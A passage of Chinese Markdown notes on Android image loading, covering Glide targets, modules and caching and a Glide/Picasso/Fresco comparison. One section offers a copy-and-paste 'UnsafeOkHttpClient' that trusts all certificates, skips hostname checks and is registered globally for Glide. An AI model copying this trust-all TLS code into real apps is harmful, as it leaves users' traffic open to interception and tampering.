private float rotateRotationAngle = 0f;\n\n    public RotateTransformation(Context context, float rotateRotationAngle) {\n        super( context );\n\n        this.rotateRotationAngle = rotateRotationAngle;\n    }\n\n    @Override\n    protected Bitmap transform(BitmapPool pool, Bitmap toTransform, int outWidth, int outHeight) {\n        Matrix matrix = new Matrix();\n\n        matrix.postRotate(rotateRotationAngle);\n\n        return Bitmap.createBitmap(toTransform, 0, 0, toTransform.getWidth(), toTransform.getHeight(), matrix, true);\n    }\n\n    @Override\n    public String getId() {\n        return \"rotate\" + rotateRotationAngle;\n    }\n}\n```\n然后将上面的方法传递到`.transform()`中:  \n```java\nprivate void loadImageOriginal() {  \n    Glide\n        .with( context )\n        .load( eatFoodyImages[0] )\n        .into( imageView1 );\n}\n\nprivate void loadImageRotated() {  \n    Glide\n        .with( context )\n        .load( eatFoodyImages[0] )\n        .transform( new RotateTransformation( context, 90f ))\n        .into( imageView3 );\n}\n```\n\n\n参考\n===\n\n- [Glide — Getting Started](https://futurestud.io/tutorials/glide-getting-started)\n- [Glide — Advanced Loading](https://futurestud.io/tutorials/glide-advanced-loading)\n- [Glide — ListAdapter (ListView, GridView)](https://futurestud.io/tutorials/glide-listadapter-listview-gridview)\n- [Glide — Placeholders & Fade Animations](https://futurestud.io/tutorials/glide-placeholders-fade-animations)\n- [Glide — Image Resizing & Scaling](https://futurestud.io/tutorials/glide-image-resizing-scaling)\n- [Glide — Displaying Gifs & Video Thumbnails](https://futurestud.io/tutorials/glide-displaying-gifs-and-videos)\n- [Glide — Caching Basics](https://futurestud.io/tutorials/glide-caching-basics)\n- [Glide — Request Priorities](https://futurestud.io/tutorials/glide-request-priorities)\n- [Glide — Thumbnails](https://futurestud.io/tutorials/glide-thumbnails)\n- [Glide — Callbacks: SimpleTarget and ViewTarget for Custom View Classes](https://futurestud.io/tutorials/glide-callbacks-simpletarget-and-viewtarget-for-custom-view-classes)\n- [Glide — Exceptions: Debugging and Error Handling](https://futurestud.io/tutorials/glide-exceptions-debugging-and-error-handling)\n- [Glide — Custom Transformations](https://futurestud.io/tutorials/glide-custom-transformation)\n- [Glide — Custom Animations with animate()](https://futurestud.io/tutorials/glide-custom-animations-with-animate)\n- [Glide — Integrating Networking Stacks](https://futurestud.io/tutorials/glide-integrating-networking-stacks)\n- [Glide — Customize Glide with Modules](https://futurestud.io/tutorials/glide-customize-glide-with-modules)\n- [How to Rotate Images](https://futurestud.io/tutorials/glide-how-to-rotate-images)\n- [Glide Module Example: Customize Caching](https://futurestud.io/tutorials/glide-module-example-customize-caching)\n- [Glide Module Example: Optimizing By Loading Images In Custom Sizes](https://futurestud.io/tutorials/glide-module-example-optimizing-by-loading-images-in-custom-sizes)\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n"
  },
  {
    "path": "docs/android/AndroidNote/ImageLoaderLibrary/Glide简介(下).md",
    "content": "Glide简介(下)\n===\n\n![image](https://github.com/bumptech/glide/blob/master/static/glide_logo.png)\n\n\n官网:[Glide](https://github.com/bumptech/glide)[![Maven Central](https://img.shields.io/badge/version-4.1.1-brightgreen.svg)](https://maven-badges.herokuapp.com/maven-central/com.github.bumptech.glide/glide) \n\n\n### `Glide`的回调:`Targets`   \n\n假设我们不想将加载的图片显示到`ImageView`上，而是只想得到对应的`Bitmap`。`Glide`提供了一种可以通过`Targets`获取`Bitmap`的方法。\n`Target`和`callback`没什么不同，都是在通过`Glide`的异步线程下载和处理后返回结果。  \n\n`Glide`提供了多个不同目的的`targets`，我们先从`BaseTarget`开始。  \n\n##### `BaseTarget`\n\n```java\nprivate BaseTarget target = new BaseTarget<BitmapDrawable>() {  \n  @Override\n  public void onResourceReady(BitmapDrawable bitmap, Transition<? super BitmapDrawable> transition) {\n    // do something with the bitmap\n    // for demonstration purposes, let's set it to an imageview\n    imageView1.setImageDrawable(bitmap);\n  }\n\n  @Override\n  public void getSize(SizeReadyCallback cb) {\n    cb.onSizeReady(SIZE_ORIGINAL, SIZE_ORIGINAL);\n  }\n\n  @Override\n  public void removeCallback(SizeReadyCallback cb) {}\n};\n\nprivate void loadImageSimpleTarget() {  \n  GlideApp\n    .with(context) // could be an issue!\n    .load(eatFoodyImages[0])\n    .into(target);\n}\n```\n需要重写`getSize`方法，并且调用`cb.onSizeReady(SIZE_ORIGINAL, SIZE_ORIGINAL);`来保证`Glide`使用最高质量的值。当然，也可以传递一个具体的值，例如\n根据`View`的大小返回。\n\n\n##### `Target`注意事项    \n\n除了刚介绍的`Target`的回调系统的一个简单版本，你要学会额外两件事。\n\n第一个是`BaseTarget`对象的定义。`Java/Android`可以允许在`.into()`内匿名定义，但这会显著增加在`Glide`处理完图片请求前`Android`垃圾回收清理匿名`target`对象的可能性。最终，会导致图片被加载了，但是回调永远不会被调用。所以，请确保将你的回调定义为一个字段对象，防止被万恶的`Android`垃圾回收给清理掉。\n\n第二个关键部分是`Glide`的`.with(context)`。这个问题实际上是`Glide`一个特性问题：当你传递了一个`context`，例如当前`app`的`activity`，当`activity`停止后，`Glide`会自动停止当前的请求。这种整合到`app`生命周期内是非常有用的，但也是很难处理的。如果你的`target`是独立于`app`的生命周期。这里的解决方案是使用`application的context`当`app`自己停止运行的时候，`Glide`会只取消掉图片的请求。请记住，再次提醒，如果你的请求需要在`activity`的生命周期以外，使用下面的代码：\n```java\nprivate void loadImageSimpleTargetApplicationContext() {  \n    GlideApp\n        .with(context.getApplicationContext() ) // safer!\n        .load(eatFoodyImages[1] \n        .asBitmap()\n        .into(target2);\n}\n```\n\n##### 设置具体尺寸的`Target`    \n\n通过`Target`的另一个问题就是它没有具体的尺寸。如果在`.into()`方法的参数中传递一个`ImageView`,`Glide`会根据`ImageView`的大小来控制图片的尺寸。例如在加载一个`1000x1000`的\n图片时，但是要显示到的`ImageView`的大小是`250x250`，`Glide`会把该图片裁剪到小的尺寸来节省处理时间和内存。显示，在使用`Targets`时，这种方式并没有效果，因为根本不知道所需要的图片的大小。但是，如果你知道图片的最终所需要的尺寸时，你可以在`callback`中指定图片的尺寸来节省内存。\n\n```java\nprivate BaseTarget target2 = new BaseTarget<BitmapDrawable>() {  \n  @Override\n  public void onResourceReady(BitmapDrawable bitmap, Transition<? super BitmapDrawable> transition) {\n    // do something with the bitmap\n    // for demonstration purposes, let's set it to an imageview\n    imageView2.setImageDrawable(bitmap);\n  }\n\n  @Override\n  public void getSize(SizeReadyCallback cb) {\n    cb.onSizeReady(250, 250);\n  }\n\n  @Override\n  public void removeCallback(SizeReadyCallback cb) {}\n};\n\nprivate void loadImageSimpleTargetApplicationContext() {  \n  GlideApp\n    .with(context.getApplicationContext()) // safer!\n    .load(eatFoodyImages[1])\n    .into(target2);\n}\n```\n\n正如上面通过`cb.onSizeReady(250, 250);`来指定尺寸。    \n\n\n##### `ViewTarget`  \n\n我们不直接使用`ImageView`的原因会有很多。我们可以通过上面的方式直接获取`Bitmap`。假如现在有一个自定义`View`，`Glide`并不支持加载图片到自定义`View`中，因为它并不知道要\n将图片设置到该`View`中的哪个位置。然而，`Glide`提供了`ViewTargets`来让这种问题变的非常简单。\n下面是我们的自定义`view`:    \n\n```java\npublic class FutureStudioView extends FrameLayout {  \n    ImageView iv;\n    TextView tv;\n\n    public void initialize(Context context) {\n        inflate( context, R.layout.custom_view_futurestudio, this );\n\n        iv = (ImageView) findViewById( R.id.custom_view_image );\n        tv = (TextView) findViewById( R.id.custom_view_text );\n    }\n\n    public FutureStudioView(Context context, AttributeSet attrs) {\n        super( context, attrs );\n        initialize( context );\n    }\n\n    public FutureStudioView(Context context, AttributeSet attrs, int defStyleAttr) {\n        super( context, attrs, defStyleAttr );\n        initialize( context );\n    }\n\n    public void setImage(Drawable drawable) {\n        iv = (ImageView) findViewById( R.id.custom_view_image );\n\n        iv.setImageDrawable( drawable );\n    }\n}\n```\n因为该`View`并没有继承`ImageView`所以不能直接使用`.into()`方法。我们可以创建一个`ViewTarget`来替代`.into()`方法进行使用:   \n```java\nFutureStudioView customView = (FutureStudioView) findViewById( R.id.custom_view );\n\nviewTarget = new ViewTarget<FutureStudioView, BitmapDrawable>(customView) {  \n  @Override\n  public void onResourceReady(BitmapDrawable bitmap, Transition<? super BitmapDrawable> transition) {\n    this.view.setImage(bitmap);\n  }\n};\n\nGlideApp  \n    .with(context.getApplicationContext()) // safer!\n    .load(eatFoodyImages[2])\n    .into(viewTarget);\n```\n\n\n### 调试及`Debug`\n\n可以通过`adb`命令来开启`Glide`的调试`log` \n`adb shell setprop log.tag.GenericRequest DEBUG`\n\n\n##### 获取异常信息   \n\n`Glide`不能直接通过`GenericRequest`类获取日志，但是我们可以获取异常信息。例如，当一个图片获取不到时，`glide`会抛出一个异常并且显示`.error()` 方法设置的错误图片。如果想明确哪里出了异常，可以通过`.listener()`方法传递一个`listener`对象进去。    \n\n首先，创建一个`listener`对象作为一个成员变量，避免被垃圾回收：\n\n```java\nprivate RequestListener<Bitmap> requestListener = new RequestListener<Bitmap>() {  \n  @Override\n  public boolean onLoadFailed(@Nullable GlideException e, Object model, Target<Bitmap> target, boolean isFirstResource) {\n    // todo log exception to central service or something like that\n\n    // important to return false so the error placeholder can be placed\n    return false;\n  }\n\n  @Override\n  public boolean onResourceReady(Bitmap resource, Object model, Target<Bitmap> target, DataSource dataSource, boolean isFirstResource) {\n    // everything worked out, so probably nothing to do\n    return false;\n  }\n};\n\nGlideApp  \n    .with(context)\n    .asBitmap()\n    .load(UsageExampleListViewAdapter.eatFoodyImages[0])\n    .listener(requestListener)\n    .error(R.drawable.cupcake)\n    .into(imageViewPlaceholder);\n```\n\n\n#### 配置第三方网络库    \n\n- `OkHttp`  \n\n```java\n// image loading library Glide\ncompile 'com.github.bumptech.glide:glide:4.1.1'  \nannotationProcessor 'com.github.bumptech.glide:compiler:4.1.1'\n\n// Glide's OkHttp2 Integration \ncompile 'com.github.bumptech.glide:okhttp-integration:4.1.1@aar'  \ncompile 'com.squareup.okhttp:okhttp:2.7.5'  \n```\n\n- `Volley`\n\n```java\n// image loading library Glide\ncompile 'com.github.bumptech.glide:glide:4.1.1'  \nannotationProcessor 'com.github.bumptech.glide:compiler:4.1.1'\n\n// Glide's Volley Integration \ncompile 'com.github.bumptech.glide:volley-integration:4.1.1@aar'  \ncompile 'com.android.volley:volley:1.0.0'  \n```\n\n- `OkHttp3` \n\n```java\n// image loading library Glide\ncompile 'com.github.bumptech.glide:glide:4.1.1'  \nannotationProcessor 'com.github.bumptech.glide:compiler:4.1.1'\n\n// Glide's OkHttp3 Integration \ncompile 'com.github.bumptech.glide:okhttp3-integration:4.1.1@aar'  \ncompile 'com.squareup.okhttp3:okhttp:3.8.1'  \n```\n\n#### 用`Modules`定制`Glide`\n\n\n`Glide modules`是一个全局改变`Glide`行为的抽象的方式。你需要创建`Glide`的实例，来访问`GlideBuilder`。可以通过创建一个公共的类，实现`AppGlideModule`的接口来定制`Glide`，这个接口提供了两个调整不同参数的方法，大多数情况下我们会用第一个方法`pplyOptions(Context context, GlideBuilder builder).`\n\n```java\n@GlideModule\npublic class FutureStudioAppGlideModule extends AppGlideModule {  \n    @Override\n    public void applyOptions(Context context, GlideBuilder builder) {\n\n    }\n\n    @Override\n    public void registerComponents(Context context, Glide glide, Registry registry) {\n\n    }\n}\n```\n在上面的`applyOptions`方法的参数中有`GlideBuilder`对象，我们来看一下他的方法:   \n- `.setMemoryCache(MemoryCache memoryCache)`\n- `.setBitmapPool(BitmapPool bitmapPool)`\n- `.setDiskCache(DiskCache.Factory diskCacheFactory)`\n- `.setDiskCacheService(ExecutorService service)`\n- `.setResizeService(ExecutorService service)`\n- `.setDecodeFormat(DecodeFormat decodeFormat)`\n\n由于`Glide`默认使用将`bitmap`使用`RGB565`解析，下面我们就通过`GlideModule`来将图片设置为`ARGB8888`\n```java\n@GlideModule\npublic class FutureStudioAppGlideModule extends AppGlideModule {  \n    @Override\n    public void applyOptions(Context context, GlideBuilder builder) {\n        builder.setDecodeFormat(DecodeFormat.PREFER_ARGB_8888);\n    }\n\n    @Override\n    public void registerComponents(Context context, Glide glide, Registry registry) {\n\n    }\n}\n```\n\n\n### 接受自签名Https证书  \n\n`Glide`内部使用标准的`HTTPUrlConnection`去下载图片。`Glide`也提供两个集成库。这三个方法优点是在安全设置上都是相当严格的。唯一的不足之处是当你从一个使用`HTTPS`，还是`self-signed`的服务器下载图片时，`Glide`并不会下载或者显示图片，因为`self-signed`认证会被认为存在安全问题。\n\n这样，你会需要去实现能够接受`self-signed`认证的网络栈。幸运地，我们已经实现并用过一个“不安全的”`OkHttpClient`。由于它提供给了一个需要集成的常规`OkHttpClient`,我们只需要拷贝并粘贴这个类:    \n```java\npublic class UnsafeOkHttpClient {  \n    public static OkHttpClient getUnsafeOkHttpClient() {\n        try {\n            // Create a trust manager that does not validate certificate chains\n            final TrustManager[] trustAllCerts = new TrustManager[] {\n                    new X509TrustManager() {\n                        @Override\n                        public void checkClientTrusted(java.security.cert.X509Certificate[] chain, String authType) throws CertificateException {\n                        }\n\n                        @Override\n                        public void checkServerTrusted(java.security.cert.X509Certificate[] chain, String authType) throws CertificateException {\n                        }\n\n                        @Override\n                        public java.security.cert.X509Certificate[] getAcceptedIssuers() {\n                            return new java.security.cert.X509Certificate[]{};\n                        }\n                    }\n            };\n\n            // Install the all-trusting trust manager\n            final SSLContext sslContext = SSLContext.getInstance(\"SSL\");\n            sslContext.init(null, trustAllCerts, new java.security.SecureRandom());\n\n            // Create an ssl socket factory with our all-trusting manager\n            final SSLSocketFactory sslSocketFactory = sslContext.getSocketFactory();\n\n            OkHttpClient.Builder builder = new OkHttpClient.Builder();\n            builder.sslSocketFactory(sslSocketFactory, (X509TrustManager)trustAllCerts[0]);\n            builder.hostnameVerifier(new HostnameVerifier() {\n                @Override\n                public boolean verify(String hostname, SSLSession session) {\n                    return true;\n                }\n            });\n\n            OkHttpClient okHttpClient = builder.build();\n            return okHttpClient;\n        } catch (Exception e) {\n            throw new RuntimeException(e);\n        }\n    }\n}\n```\n该类关闭了所有`SSL`认证检查。   \n接下来我们需要将上面的方法集成到`GlideModule`中。`Glide`使用一个`ModelLoader`去链接到数据模型创建一个具体的数据类型。我们的例子中，我们需要创建一个`ModelLoader`，它连接到一个`URL`，通过`GlideUrl`类响应并转化为输入流。`Glide`需要能够创建我们的新`ModelLoader`的实例，所以我们在`.register()`方法中传入一个工厂:  \n```java\n@GlideModule\npublic class UnsafeOkHttpGlideModule extends LibraryGlideModule {  \n    @Override\n    public void registerComponents(Context context, Glide glide, Registry registry) {\n        OkHttpClient client = UnsafeOkHttpClient.getUnsafeOkHttpClient();\n        registry.replace(GlideUrl.class, InputStream.class,\n                new OkHttpUrlLoader.Factory(client));\n    }\n}\n```\n\n\n### 自定义缓存\n\n`Glide`使用`MemorySizeCalculator`类来设置内存缓存的大小和`bitmap pool`。 `bitmap pool`会把图片保存到应用的栈内存中。合适的`bitmap pool`尺寸是非常必要的，因为要避免\n太大会导致内存频繁的被回收。   \n我们可以很简单的获取到`Glide`的`MemorySizeCalculator`类和默认的值:   \n```java\nMemorySizeCalculator calculator = new MemorySizeCalculator.Builder(context).build();  \nint defaultMemoryCacheSize = calculator.getMemoryCacheSize();  \nint defaultBitmapPoolSize = calculator.getBitmapPoolSize();  \n```\n\n那么如何自定义缓存大小呢？   \n```java\n@GlideModule\npublic class CustomCachingGlideModule extends AppGlideModule {  \n    @Override\n    public void applyOptions(Context context, GlideBuilder builder) {\n        MemorySizeCalculator calculator = new MemorySizeCalculator.Builder(context).build();\n        int defaultMemoryCacheSize = calculator.getMemoryCacheSize();\n        int defaultBitmapPoolSize = calculator.getBitmapPoolSize();\n\n        int customMemoryCacheSize = (int) (1.2 * defaultMemoryCacheSize);\n        int customBitmapPoolSize = (int) (1.2 * defaultBitmapPoolSize);\n\n        builder.setMemoryCache(new LruResourceCache(customMemoryCacheSize));\n        builder.setBitmapPool(new LruBitmapPool(customBitmapPoolSize));\n    }\n\n    @Override\n    public void registerComponents(Context context, Glide glide, Registry registry) {\n        // nothing to do here\n    }\n}\n```\n\n- 自定义硬盘缓存    \n\n`Glide`提供了两种硬盘缓存方式`InternalCacheDiskCacheFactory`和`ExternalCacheDiskCacheFactory`。\n```java\n@GlideModule\npublic class CustomCachingGlideModule extends AppGlideModule {  \n    @Override\n    public void applyOptions(Context context, GlideBuilder builder) {\n        // set disk cache size & external vs. internal\n        int cacheSize100MegaBytes = 104857600;\n\n        builder.setDiskCache(\n                new InternalCacheDiskCacheFactory(context, cacheSize100MegaBytes));\n\n        //builder.setDiskCache(\n        //        new ExternalCacheDiskCacheFactory(context, cacheSize100MegaBytes));\n    }\n\n    @Override\n    public void registerComponents(Context context, Glide glide, Registry registry) {\n        // nothing to do here\n    }\n}\n```\n\n上面的配置只是更改硬盘缓存的大小，并不会改变缓存目录，如果需要将缓存文件位置修改为指定位置，需要使用`DiskLruCacheFactory`类。 \n```java\n// or any other path\nString downloadDirectoryPath = Environment.getDownloadCacheDirectory().getPath(); \n\nbuilder.setDiskCache(  \n        new DiskLruCacheFactory( downloadDirectoryPath, cacheSize100MegaBytes )\n);\n\n// In case you want to specify a cache sub folder (i.e. \"glidecache\"):\n//builder.setDiskCache(\n//    new DiskLruCacheFactory( downloadDirectoryPath, \"glidecache\", cacheSize100MegaBytes ) \n//);\n```\n\n### 缓存总结 \n\n通过上面的设置可以发现，`Glide`一共使用了三种缓存方式:    \n\n- `Memory cache needs to implement: MemoryCache`\n- `Bitmap pool needs to implement BitmapPool`\n- `Disk cache needs to implement: DiskCache`\n\n\n参考\n===\n\n- [Glide — Getting Started](https://futurestud.io/tutorials/glide-getting-started)\n- [Glide — Advanced Loading](https://futurestud.io/tutorials/glide-advanced-loading)\n- [Glide — ListAdapter (ListView, GridView)](https://futurestud.io/tutorials/glide-listadapter-listview-gridview)\n- [Glide — Placeholders & Fade Animations](https://futurestud.io/tutorials/glide-placeholders-fade-animations)\n- [Glide — Image Resizing & Scaling](https://futurestud.io/tutorials/glide-image-resizing-scaling)\n- [Glide — Displaying Gifs & Video Thumbnails](https://futurestud.io/tutorials/glide-displaying-gifs-and-videos)\n- [Glide — Caching Basics](https://futurestud.io/tutorials/glide-caching-basics)\n- [Glide — Request Priorities](https://futurestud.io/tutorials/glide-request-priorities)\n- [Glide — Thumbnails](https://futurestud.io/tutorials/glide-thumbnails)\n- [Glide — Callbacks: SimpleTarget and ViewTarget for Custom View Classes](https://futurestud.io/tutorials/glide-callbacks-simpletarget-and-viewtarget-for-custom-view-classes)\n- [Glide — Exceptions: Debugging and Error Handling](https://futurestud.io/tutorials/glide-exceptions-debugging-and-error-handling)\n- [Glide — Custom Transformations](https://futurestud.io/tutorials/glide-custom-transformation)\n- [Glide — Custom Animations with animate()](https://futurestud.io/tutorials/glide-custom-animations-with-animate)\n- [Glide — Integrating Networking Stacks](https://futurestud.io/tutorials/glide-integrating-networking-stacks)\n- [Glide — Customize Glide with Modules](https://futurestud.io/tutorials/glide-customize-glide-with-modules)\n- [How to Rotate Images](https://futurestud.io/tutorials/glide-how-to-rotate-images)\n- [Glide Module Example: Customize Caching](https://futurestud.io/tutorials/glide-module-example-customize-caching)\n- [Glide Module Example: Optimizing By Loading Images In Custom Sizes](https://futurestud.io/tutorials/glide-module-example-optimizing-by-loading-images-in-custom-sizes)\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n"
  },
  {
    "path": "docs/android/AndroidNote/ImageLoaderLibrary/图片加载库比较.md",
    "content": "图片加载库比较\n===\n\n`Android`开发过程中，图片加载基本是每个项目都必备的功能，图片加载的开源项目也比较多，从最老牌的[Android-Universal-Image-Loader](https://github.com/nostra13/Android-Universal-Image-Loader)，到后来`Google`的[Volley](https://github.com/google/volley)再到良心公司`Square`的[Picasso](https://github.com/square/picasso)以及`FaceBook`的[Fresco](https://github.com/facebook/fresco)和`Google IO`开发者大会上推荐的[Glide](https://github.com/bumptech/glide)。\n\n面对这么多的加载库我们该如何去选择？ \n他们各有优缺点，没法绝对的来说哪个是最好的，只有根据自己的需要来选择最适合自己的，接下来我们就重点分析下这几个项目的优缺点。\n\n### `Android Universal Image Loader`\n\n最老牌的图片加载库，提供了丰富的配置，简单易用，但是从`2015.11`开始就已经停止维护了，在当前信息技术高速发展的时代，停止维护我们就只能放弃了。 \n但是不得不说，他是一个很优秀的项目。\n\n### `Glide`\n\n[![Maven Central](https://img.shields.io/badge/version-4.1.1-brightgreen.svg)](https://maven-badges.herokuapp.com/maven-central/com.github.bumptech.glide/glide) \n\n![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/glide_rep.png?raw=true)\n\n优点:      \n\n- 支持`Gif`图片。\n- 支持`WebP`。\n- 加载速度快、流畅度高。\n- `Glide`的`with()`方法不光接受`Context`，还接受`Activity`和`Fragment`，这样图片加载会和`Activity/Fragment`的生命周期保持一致，比如`Pause`状态在暂停加载，在`Resume`的时候又自动重新加载。\n- 支持设置图片加载优先级。\n- 支持缩略图，可以在同一时间加载多张图片到同一个`ImageView`中，例如可以首先加载只有`ImageView`十分之一大小的缩略图，然后等再加载完整大小的图片后会再显示到该`ImageView`上。\n- 内存占用低，`Glide`默认的`Bitmap`格式是`RGB_565`，比`ARGB_8888`格式的内存开销要小一半,所以图片质量会稍微差一些，当然这些配置都是可以修改的。\n- `Glide`缓存的图片大小是根据`ImageView`尺寸来缓存的的。这种方式优点是加载显示非常快。且可以设置缓存图片的尺寸  \n- 默认使用`HttpUrlConnection`下载图片，可以配置为`OkHttp`或者`Volley`下载，也可以自定义下载方式。\n- 默认使用两个线程池来分别执行读取缓存和下载任务，且可以自定义。\n- 默认使用手机内置存储进行磁盘缓存，可以配置为外部存储，可以配置缓存大小，图片池大小。\n- 在加载同样配置的图片时，`Glide`内存占用更少，因为`Glide`是针对每个`ImageView`适配图片大小后再存储到磁盘的，这样加载进内存的是压缩过的图片，内存占用自然就比较少。这种做法有助于减少`OutOfMemoryError`的出现。\n- 高效处理`Bitmap`，使用`Bitmap Pool`来对`Bitmap`进行复用，主动调用`recycle`回收需要回收的`Bitmap`，减小系统回收压力\n\n\n\n默认情况下`Glide`与`Picasso`加载同样图片的内存占用比:   \n\n![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/picasso_glide_memory_compare_default.png?raw=true)\n\n配置为`ARGB_8888`的情况下`Glide`与`Picasso`加载同样图片的内存占用比:  \n\n![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/picasso_glide_memory_compare.png?raw=true)\n\n`With()`方法的比较:    \n\n![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/picasso_glide_with_method_compare.png?raw=true)\n\n\n缺点:   \n\n- 体积相对来说比较大，目前最新版的大小在`500k`左右  \n- 当我们从远程`URL`地址下载图片时，`Picasso`相比`Glide`要快很多。可能的原因是`Picasso`下载完图片后直接将整个图片加载进内存，而`Glide`还需要针对每个`ImageView`的大小来适配压缩下载到的图片，这个过程需要耗费一定的时间。（当然我们可以使用`thumbnail()`来减少压缩的时间）\n\n使用简单: \n\n```xml\nrepositories {\n  mavenCentral()\n  maven { url 'https://maven.google.com' }\n}\n\ndependencies {\n  compile 'com.github.bumptech.glide:glide:4.1.1'\n  annotationProcessor 'com.github.bumptech.glide:compiler:4.1.1'\n}\n```\n\n```java\nImageView imageView = (ImageView) findViewById(R.id.my_image_view);\nGlideApp.with(this).load(\"http://goo.gl/gEgYUd\").into(imageView);\n```\n\n\n### `Picasso`\n\n由良心公司`Square`开源的一款图片加载库。其实他和`Glide`很相似，所以一般会与`Glide`进行比较。           \n\n[![Maven Central](https://img.shields.io/badge/version-2.5.2-brightgreen.svg)](http://repo1.maven.org/maven2/com/squareup/picasso/picasso/2.5.2/)\n\n![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/picasso_rep.png?raw=true)\n\n优点:     \n\n- 体积更小，方法数也更少，更轻量。他的库大小及方法数基本是`Glide`的四分之一，目前为`120k`左右\n- 支持`WebP`\n- 当我们从远程`URL`地址下载图片时，`Picasso`相比`Glide`要快很多。可能的原因是`Picasso`下载完图片后直接将整个图片加载进内存，而`Glide`还需要针对每个`ImageView`的大小来适配压缩下载到的图片，这个过程需要耗费一定的时间。（当然我们可以使用`thumbnail()`来减少压缩的时间）\n\n缺点:   \n\n- `Picasso`和`Glide`在磁盘缓存策略上有很大的不同。`Picasso`缓存的是全尺寸的，而`Glide`缓存的是跟`ImageView`尺寸相同的。`Glide`的这种方式优点是加载显示非常快。而`Picasso`的方式则因为需要在显示之前重新调整大小而导致一些延迟.\n- 相对`Glide`来说更耗内存，尤其是加载大一点的图片。同样是因为上面的缓存策略不同。\n- 不支持`Gif`图片\n\n\n使用:   \n\n```java\n// Picasso\nPicasso.with(context)\n    .load(\"http://inthecheesefactory.com/uploads/source/glidepicasso/cover.jpg\")\n    .into(ivImg);\n\n// Glide    \nGlide.with(context)\n    .load(\"http://inthecheesefactory.com/uploads/source/glidepicasso/cover.jpg\")\n    .into(ivImg);\n```\n\n- 修改图片大小   \n\n```java\n// Picasso\n.resize(300, 200);\n\n// Glide\n.override(300, 200);\n```\n\n- 图片裁剪  \n\n```java\n// Picasso\n.centerCrop();\n\n// Glide\n.centerCrop();\n```\n\n- 设置占位图及错误图片  \n\n```java\n// Picasso\n.placeholder(R.drawable.placeholder)\n.error(R.drawable.imagenotfound)\n\n// Glide\n.placeholder(R.drawable.placeholder)\n.error(R.drawable.imagenotfound)\n```\n\n\n### `Fresco`\n\n由`Facebook`推出，自带光环。\n\n[![Maven Central](https://img.shields.io/badge/version-1.5.0-brightgreen.svg)](http://repo1.maven.org/maven2/com/facebook/fresco/fresco/1.5.0/)\n\n![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/fresco_rep.png?raw=true)\n\n\n- `Fresco`中设计有一个叫做`Image Pipeline`的模块。它负责从网络，从本地文件系统，本地资源加载图片。为了最大限度节省空间和CPU时间，它含有3级缓存设计（2级内存，1级磁盘）。\n- `Fresco`中设计有一个叫做`Drawees`模块，它会在图片加载完成前显示占位图，加载成功后自动替换为目标图片。当图片不再显示在屏幕上时，它会及时地释放内存和空间占用。\n- 如果仅用基本的图片加载功能的话，大小仅为`20k`左右\n- 解压后的图片，即`Android`中的`Bitmap`，占用大量的内存。大的内存占用势必引发更加频繁的`GC`。在`5.0`以下，`GC`将会显著地引发界面卡顿。\n在`5.0`以下系统，`Fresco`将图片放到一个特别的内存区域。当然，在图片不显示的时候，占用的内存会自动被释放。这会使得`APP`更加流畅，减少因图片内存占用而引发的`OOM`。\n`Fresco`在低端机器上表现一样出色，你再也不用因图片内存占用而思前想后。\n- 渐进式的`JPEG`图片格式已经流行数年了，渐进式图片格式先呈现大致的图片轮廓，然后随着图片下载的继续，呈现逐渐清晰的图片，这对于移动设备，尤其是慢网络有极大的利好，可带来更好的用户体验。\n`Android`本身的图片库不支持此格式，但是`Fresco`支持。使用时，和往常一样，仅仅需要提供一个图片的`URI`即可，剩下的事情，`Fresco`会处理。\n- 图片可以在任意点进行裁剪，而不是中心，即自定义居中焦点。\n- `JPEG`可以在`native`进行`resize`，避免了在缩小图片时的`OOM`风险。\n- 支持`Gif`图片。\n- 支持`WebP`。\n- 内存管理，三级缓存设计\n- 图片预览，渐进式显示效果和多图请求\n- 第一次加载和加载缓存速度都比较快\n- 下载失败之后，点击重现下载\n- 自定义占位图，自定义`overlay`, 或者进度条\n- 先显示一个低解析度的图片，等高清图下载完之后再显示高清图\n- 对于本地图，如有EXIF缩略图，在大图加载完成之前，可先显示缩略图\n- 缩放或者旋转图片\n- `Fresco`和`Glide`在内存占用上,`Fresco`更优,这是由于`Fresco`将图片放置到一块特殊的`Native`内存，这块内存的管理是由`Fresco`进行的，所以`Fresco`的体积比较庞大，会为应用增加接近`2M`的体积，这算是`Fresco`的一个缺点.\n\n缺点:   \n\n- 他也是一个非常优秀的项目，由于`Fresco`的设计需要使用`DraweeView`替代`ImageView`所以我个人来说没有选择它，\n- 由于其缓存特性，会导致应用的体积变大。\n\n使用: \n\n- 必备功能\n\n```java\ndependencies {\n  // your app's other dependencies\n  compile 'com.facebook.fresco:fresco:1.5.0'\n}\n```\n\n- 可选功能\n\n```java\ndependencies {\n\n  // For animated GIF support\n  compile 'com.facebook.fresco:animated-gif:1.5.0'\n\n  // For WebP support, including animated WebP\n  compile 'com.facebook.fresco:animated-webp:1.5.0'\n  compile 'com.facebook.fresco:webpsupport:1.5.0'\n\n  // For WebP support, without animations\n  compile 'com.facebook.fresco:webpsupport:1.5.0'\n\n  // Provide the Android support library (you might already have this or a similar dependency)\n  compile 'com.android.support:support-core-utils:24.2.1'\n}\n```\n\n- 初始化:    \n\n```java\n[MyApplication.java]\npublic class MyApplication extends Application {\n    @Override\n    public void onCreate() {\n        super.onCreate();\n        Fresco.initialize(this);\n    }\n}\n```\n\n- 创建布局文件:   \n\n```xml\n<LinearLayout\n    xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:fresco=\"http://schemas.android.com/apk/res-auto\"\n    android:layout_height=\"match_parent\"\n    android:layout_width=\"match_parent\"\n    >\n\t<com.facebook.drawee.view.SimpleDraweeView\n\t    android:id=\"@+id/my_image_view\"\n\t    android:layout_width=\"130dp\"\n\t    android:layout_height=\"130dp\"\n\t    fresco:placeholderImage=\"@drawable/my_drawable\"\n\t    />\n</LinearLayout>    \n```\n\n- 代码使用:   \n\n```java\nUri uri = Uri.parse(\"https://raw.githubusercontent.com/facebook/fresco/master/docs/static/logo.png\");\nSimpleDraweeView draweeView = (SimpleDraweeView) findViewById(R.id.my_image_view);\ndraweeView.setImageURI(uri);\n```\n\n\n综上所述:对我来说`Glide`是最合适的。\n\n参考内容:   \n===\n\n- 